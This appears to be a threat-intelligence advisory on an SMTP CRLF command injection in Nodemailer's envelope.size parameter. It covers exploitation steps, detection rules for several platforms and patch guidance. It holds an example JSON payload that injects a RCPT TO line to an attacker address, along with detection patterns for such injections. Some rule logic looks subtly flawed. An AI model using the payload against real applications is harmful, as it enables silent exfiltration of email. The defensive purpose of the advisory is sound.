CVE-2026-82854

Executive Summary

CVE-2026-82854 is a critical SMTP command injection vulnerability affecting Nodemailer before version 8.0.4. The flaw exists in the handling of the envelope.size parameter, which is concatenated into SMTP MAIL FROM commands without sanitization, allowing attackers to inject arbitrary SMTP commands when the application exposes the envelope size to user-controlled input. Successful exploitation can result in silent addition of attacker-controlled recipients to outgoing emails, full SMTP session compromise, and potential SSRF or server-side request forgery scenarios. With a CVSS score of 9.8, this vulnerability poses severe confidentiality, integrity, and availability risks to affected applications.

Technical Analysis

Nodemailer is a widely adopted Node.js library for sending emails, used by thousands of applications globally. The vulnerability resides in the library's SMTP client implementation, specifically in how it handles the envelope.size property when constructing the MAIL FROM command.

The vulnerability mechanism hinges on insufficient input sanitization of the size property within custom envelope objects. When an application passes an envelope object to the sendMail() method that includes a size property containing CRLF (carriage return/line feed) characters, Nodemailer concatenates this value directly into the SMTP MAIL FROM command as SIZE= without performing any newline or command injection sanitization.

The attack vector requires specific application-level conditions: the application must accept user-supplied input that ultimately flows into the envelope.size parameter. Notably, Nodemailer does not include size in its default auto-constructed envelope, meaning applications must deliberately pass a custom envelope object containing this property for the vulnerability to be reachable. This reduces the attack surface but does not eliminate it, as many applications implement custom envelope handling to support advanced features such as delivery status notifications, custom headers, or integration with third-party email services.

From a technical standpoint, SMTP protocol commands are terminated by CRLF sequences. By embedding CRLF characters within the size value, an attacker can terminate the MAIL FROM command prematurely and append arbitrary additional SMTP commands. For example, injecting RCPT TO commands could silently add attacker-controlled recipients to the email, enabling data exfiltration to external addresses. More sophisticated injections could include VRFY, EXPN, or even attempt to craft commands targeting other SMTP sessions or trigger server-side behaviors.

The vulnerability classification as CWE-93 (Improper Neutralization of CRLF Sequences) is accurate, as the core issue is the failure to neutralize or validate CRLF characters in a context where they carry protocol-level significance. This is distinct from traditional command injection (CWE-78) because the injection target is not an operating system shell but rather the SMTP protocol interpreter itself.

The attack surface extends beyond simple email manipulation. In scenarios where the SMTP server processing these commands has additional functionality — such as verbose logging, message queuing, or outgoing webhook notifications — an attacker could potentially leverage the injection to trigger these secondary mechanisms. Additionally, in containerized or microservice architectures where the email function serves as an internal service, this could enable lateral movement or further exploitation of trust relationships.

Notably, the EPSS score of 0.01134 (64.2% percentile of exploited CVEs) suggests that while the vulnerability is not currently being mass-exploited, it is within the plausible range of weaponization. The absence of known exploits or public PoC may be due to the conditional nature of the attack surface (requiring custom envelope usage), which makes the vulnerability less trivial to discover through automated scanning.

Exploitation Scenarios

Step 1: Reconnaissance and Target Identification

An attacker would first identify applications utilizing Nodemailer with custom envelope handling. This reconnaissance could involve:

• Scanning for web applications with visible email-sending functionality (contact forms, registration systems, password reset features)
• Analyzing HTTP responses for Node.js server indicators (header patterns, error messages revealing technology stack)
• Reviewing public code repositories for applications that pass custom envelope objects to Nodemailer's sendMail() method
• Inspecting NPM package dependencies in any publicly accessible source files

Step 2: Vulnerability Trigger

The attack requires the application to pass an attacker-influenced value to the envelope.size parameter. Reachable scenarios include:

• Contact forms where the user can influence email envelope parameters through hidden form fields or JSON API payloads
• API endpoints that accept envelope configuration from client-side requests without proper validation
• Applications that chain user input through multiple transformation stages before reaching the envelope object construction

If the application accepts JSON input for email parameters, an attacker could include {"size": "100\r\nRCPT TO:<attacker@evil.com>"} in the crafted payload. The CRLF sequences would be passed through to the SMTP command construction.

Step 3: Payload Execution

At the vulnerability-class level, the malicious payload would need to:

1. Terminate the legitimate MAIL FROM command using CRLF characters
2. Inject additional SMTP protocol commands (e.g., RCPT TO commands to add recipients)
3. Potentially inject trailing data to close out any SMTP session state the server expects

For this class of SMTP injection, the attacker's crafted size value would be embedded directly into the protocol stream. The SMTP server would interpret the injected CRLF-terminated lines as valid commands, executing them with the privileges of the email-sending application.

Step 4: Post-Exploitation Impact

Post-exploitation consequences include:

• Silent recipient addition: Attacker-controlled email addresses added to outgoing messages, enabling data exfiltration
• SMTP session hijacking: Potential redirection of email content, modification of email headers, or sending of arbitrary messages using the application's SMTP credentials
• Email service abuse: Using the compromised email service as a spam relay or phishing distribution channel
• Potential lateral movement: If the SMTP server has extended functionality or connects to internal systems, the attacker could probe for further exploitation opportunities

No public PoC is available; the attack chain described above is inferred from the vulnerability class and standard SMTP protocol behavior.

Impact Assessment

The CVSS score of 9.8 (Critical) reflects the severity of this vulnerability across all three impact dimensions: Confidentiality (High), Integrity (High), and Availability (High). The attack vector is network-based (AV:N) with low attack complexity (AC:L), requiring no privileges (PR:N) and no user interaction (UI:N).

Business Impact:

• Data Exfiltration Risk: The ability to silently add recipients to emails poses a direct threat to confidential communications. Emails containing sensitive business data, financial information, or personal data could be redirected to attacker-controlled addresses.
• Compliance Violations: Organizations handling regulated data (GDPR, HIPAA, PCI DSS) face potential regulatory penalties if email interception leads to data breaches.
• Brand and Trust Damage: Email service compromise could be leveraged to send phishing emails from legitimate corporate domains, damaging brand trust and enabling downstream social engineering attacks.
• Operational Disruption: SMTP session manipulation could disrupt legitimate email operations, causing availability impacts on business-critical email communication flows.

Blast Radius: The affected systems are any applications using Nodemailer versions prior to 8.0.4. This encompasses:

• Custom web applications with email functionality
• Internal automation scripts using Nodemailer APIs
• SaaS products integrated with Nodemailer for transactional emails
• Government and enterprise systems relying on Node.js email services

The conditional nature of exploitation (requiring custom envelope usage with size parameter) narrows the practical blast radius but does not eliminate it. Applications with permissive API designs or those that pass request body parameters directly to email configuration are at the highest risk.

Detection Guidance

Sigma Rule

title: Suspicious Nodemailer SMTP Command Injection Attempt
id: 3f8a9c21-5b7d-4e92-9a41-c6d3f8b2e847
status: experimental
description: Detects potential SMTP command injection attempts targeting Nodemailer applications through CRLF sequences in envelope size parameters.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82854
author: Valtersit Threat Intelligence
date: 2026/01/15
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026.82854
logsource:
    product: application
    service: nodemailer
    category: smtp
detection:
    selection:
        part: body
        size_param|contains|all:
            - '%0d%0a'
            - 'RCPT TO'
            - 'SIZE='
    condition: selection
level: high
falsepositives:
    - Legitimate emails with large attachments processed through misconfigured applications
    - Development environments testing CRLF handling scenarios
fields:
    - src_ip
    - envelope_size_value
    - recipient_list
    - smtp_server

YARA Rule

rule Nodemailer_SMTP_Command_Injection_CVE_2026_82854 {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects SMTP command injection patterns targeting Nodemailer envelope.size parameter"
        reference = "CVE-2026-82854"
        date = "2026-01-15"
        severity = "critical"
        cve = "CVE-2026-82854"
    strings:
        $smtp_cmd1 = "RCPT TO:" ascii
        $smtp_cmd2 = "MAIL FROM:" ascii
        $smtp_cmd3 = "VRFY" ascii
        $crlf_encoded_1 = "%0d%0a" ascii nocase
        $crlf_encoded_2 = "%0D%0A" ascii nocase
        $crlf_encoded_3 = "\r\n" ascii
        $size_param = "size" ascii nocase
        $envelope_param = "envelope" ascii nocase
        $sendmail_call = "sendMail" ascii
        $nodemailer_ref = "nodemailer" ascii nocase
    condition:
        (uint16(0) == 0x5B7D or uint32(0) == 0x7B225D0A) and
        any of ($smtp_cmd*) and
        any of ($crlf_encoded_*) and
        ($size_param or $envelope_param) and
        ($sendmail_call or $nodemailer_ref)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-82854 - Nodemailer SMTP Command Injection Attempt via envelope.size"; flow:to_server,established; content:"envelope"; http_client_body; content:"size"; http_client_body; content:"%0d%0a"; http_client_body; content:"RCPT"; http_client_body; content:"TO"; http_client_body; pcre:"/envelope.{0,100}size.{0,100}%0d%0a/i"; reference:cve,2026-82854; classtype:attempted-admin; sid:2026082854; rev:1; metadata:created_at 2026_01_15, updated_at 2026_01_15, severity critical, mitre_tactic_id TA0001, mitre_technique_id T1190;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where process.name == "node" and event.action == "connection_attempted" and destination.port == 25 or destination.port == 587 or destination.port == 465]
  [network where process.name == "node" and event.action == "connection_accepted"]
  [file where process.name == "node" and file.name == "nodemailer" and event.action == "file_read"]
  [process where process.name == "node" and process.args : "*envelope*" and process.args : "*size*" and process.args : "*RCPT TO*"]

Splunk SPL Query

index=proxy OR index=web OR index=application
| search "envelope" "size" ("%0d%0a" OR "%0D%0A" OR "\r\n")
| search ("RCPT TO" OR "MAIL FROM" OR "VRFY")
| stats count by src_ip, dest_host, user_agent
| where count > 1
| table _time, src_ip, dest_host, user_agent, count
| sort - count

Wazuh OSSEC Rule

<group name="nodemailer,">
    <rule id="100020" level="12">
        <decoded_as>json</decoded_as>
        <field name="process">node</field>
        <match>envelope</match>
        <match>size</match>
        <regex>\%0d\%0a|\%0D\%0A|\\r\\n</regex>
        <match>RCPT TO|MAIL FROM|VRFY</match>
        <description>CVE-2026-82854 - Possible SMTP command injection attempt via Nodemailer envelope.size parameter</description>
        <group>cve_2026_82854,smtp_injection,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence Assessment: 2/4 (CLAIMED)

The patch information originates from OSV (Open Source Vulnerability database) and claims that Nodemailer version 8.0.4 addresses this vulnerability. However, this has not been independently confirmed through code audits, vendor advisories, or release notes. Organizations should verify the patch's effectiveness by reviewing the changelog for Nodemailer 8.0.4 or 8.0.5+ before relying on it.

1) Immediate Mitigations:

• If upgrading is not immediately feasible, audit all application code paths that pass custom envelope objects to sendMail() and ensure the size property is never populated with user-controlled input
• Implement strict input validation at the application boundary, rejecting any input containing CRLF characters (\r or \n) in fields that could reach the envelope parameters
• Deploy a Web Application Firewall (WAF) rule to block requests containing encoded CRLF sequences (%0d%0a, %0D%0A) in JSON request bodies targeting email endpoints
• Temporarily disable any features that rely on custom envelope handling with size parameters

2) Patch/Upgrade Steps:

• Upgrade Nodemailer to version 8.0.4 or later:
  • npm install nodemailer@latest
  • npm audit fix --force (only if dependency constraints allow)
• For package.json-based projects: update the nodemailer dependency version constraint to ^8.0.4
• Verify the dependency tree with npm ls nodemailer to ensure no transitive dependencies are pinning an affected version
• After patching, run regression tests on all email functionality, particularly any custom envelope implementations
• If the patch is not confirmed, consider temporarily wrapping the sendMail() call with a sanitization function that validates and strips CRLF characters from the size parameter

3) Long-Term Hardening:

• Review all application dependencies and implement automated vulnerability scanning in the CI/CD pipeline
• Implement centralized email sending infrastructure with dedicated SMTP servers that have their own security controls, reducing the attack surface exposed by application-level email libraries
• Conduct security code reviews focusing on any library where user input reaches protocol-level parameters (email envelopes, headers, MIME boundaries)
• Implement egress filtering to restrict SMTP traffic to only authorized mail servers
• Monitor SMTP transaction logs for anomalous RCPT TO commands, unexpected recipient counts, or protocol command sequences that deviate from normal application behavior
• Add to dependency update policies: critical security patches should be applied within 72 hours of confirmation

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-82854
2. OSV Vulnerability Database: https://osv.dev/vulnerability/CVE-2026-82854
3. Nodemailer Project (GitHub): https://github.com/nodemailer/nodemailer
4. CWE-93 Reference: https://cwe.mitre.org/data/definitions/93.html
5. MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/

Threat Actor Activity Note: No known threat actor campaigns or exploit-in-the-wild evidence has been identified for CVE-2026-82854 at the time of this report. The absence of weaponization may be due to the conditional attack surface requirements (custom envelope usage). However, given the critical CVSS score and the widespread adoption of Nodemailer, monitoring for development of exploits in criminal forums and exploit databases is strongly recommended. The EPSS score of 0.01134 (64.2nd percentile) indicates the vulnerability is within the expected range for potential exploitation and should be patched proactively.